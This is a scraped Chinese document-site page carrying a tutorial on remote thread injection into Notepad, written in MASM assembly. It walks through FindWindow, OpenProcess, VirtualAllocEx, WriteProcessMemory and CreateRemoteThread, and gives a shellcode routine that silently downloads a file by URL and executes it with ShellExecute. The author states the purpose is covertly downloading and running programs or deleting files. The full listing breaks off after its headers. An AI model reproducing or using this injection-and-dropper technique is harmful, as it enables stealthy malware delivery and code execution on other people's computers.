- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
简单线程注入的实现.doc
简单线程注入的实现 责任编辑:酷酷鱼 更新日期:2007-1-13 最近在搞线程注入,其实这个流程也蛮简单的。一些书上写的线程注入,都是使用 call [ebx + XXXX]的形式来解决重定位。这样的话,invoke伪指令就不能直接使用了。就像用伪指令调用messagebox,本来就是invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK,远程注入的话,代码就要变动,写成如下形式:
lea eax[ebx+szTitle]
lea ecx[ebx+szCaption]
_invoke [ebx,_MessageBox] ,NULL,ecx,eax,MB_OK
还挺麻烦的。我通过参考网络上的一些资料,通过线程注入记事本、计算器,或者别的知道了窗口类的软件进程。在他们的基础上,线程注入,然后注入的代码编写成其他我需要体现的。例如,悄悄下载一些东西并且运行,删除一些文件等,这个是个人爱好了。
下面是主要的注入记事本进程后运行的代码:
Shellcode proc
push
call LoadLibrary
push
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
这段代码是插在记事本运行的,所以它自己要装载API所需要的dll。比如URLDownloadToFile,是urlmon.dll里面的,所以,要用LoadLibrary装载。
push
call LoadLibrary这个地址,是urlmon.dll的内存地址,在同一个exe文件的空间,内存地址是没有改变,所压栈,然后call LoadLibrary调用,这样我们就可以使用这个API下载文件了。ShellExecute是在shell32.dll里面,在远程线程调用,自然也要。
push
call LoadLibrary
其是shell32.dll的内存地址。全部都装载完毕,API就可以正常调用。
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
使用了伪指令的方式注入。
怎么寻找到记事本的ID?Windows提供了FindWindow,只要知道记事本的窗口类,就可以GetWindowThreadProcessId找到了。知道记事本的窗口类很简单,只要下载一些查看窗口类名的工具就可以了,然后你可以随便注入一个知道窗口类的程序进程空间。
szCalss db Notepad,0
.
invoke FindWindow,addr szCalss,0
.
找到之后,调用GetWindowThreadProcessId可以从窗口类句柄找到PID。接着,OpenProcess找到句柄,其中,要以“允许创建远程线程”,“允许使用进程的地址空间”,“ PROCESS_VM_WRITE”的权限打开。因为我们就是要对记事本的空间进行写的操作,权限务必要足够。如果记事本没有内存空间给我们存放代码,那么也枉然,然后要释放和分配内存空间,VirtualFreeEx与VirtualAllocEx就可以做到,其中VirtualAllocEx返回的句柄保存在寄存器eax中,mov hWnd,eax传送到hWnd做为操作的句柄,用WriteProcessMemory开始写它的内存空间,CreateRemoteThread创建指定的线程目标进程句柄,也就是我们最后的注入代码。
下面是完整代码:
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib
.data
szCalss db
您可能关注的文档
最近下载
- 2025-2026学年人教版英语八年级上册UNIT 8 单元综合评估卷(含答案及听力原文,无听力音频).doc VIP
- 常用电工仪器仪表使用方法PPT课件.pptx VIP
- 2025年广东省华医网公需课考题答案—人工智能赋能制造业高质量发展.docx VIP
- 基于核心素养的初中生物实验教学设计研究报告教学研究课题报告.docx
- 物流园安全生产三项制度(安全生产责任制、制度、操作规程)汇编.pdf VIP
- 2019年山东省广播电视技术能手竞赛(网络安全)答案.doc VIP
- (9月3日)铭记历史,吾辈自强——纪念抗日战争胜利80周年初中主题班会课件.pptx VIP
- 07 保护及故障信息管理子站技术规范书(通用).doc
- 2025-2026学年小学信息科技湘教版2024三年级上册-湘教版(2024)教学设计合集.docx
- 第一届全国技能大赛贵州选拔赛砌筑项目技术文件1.docx VIP
文档评论(0)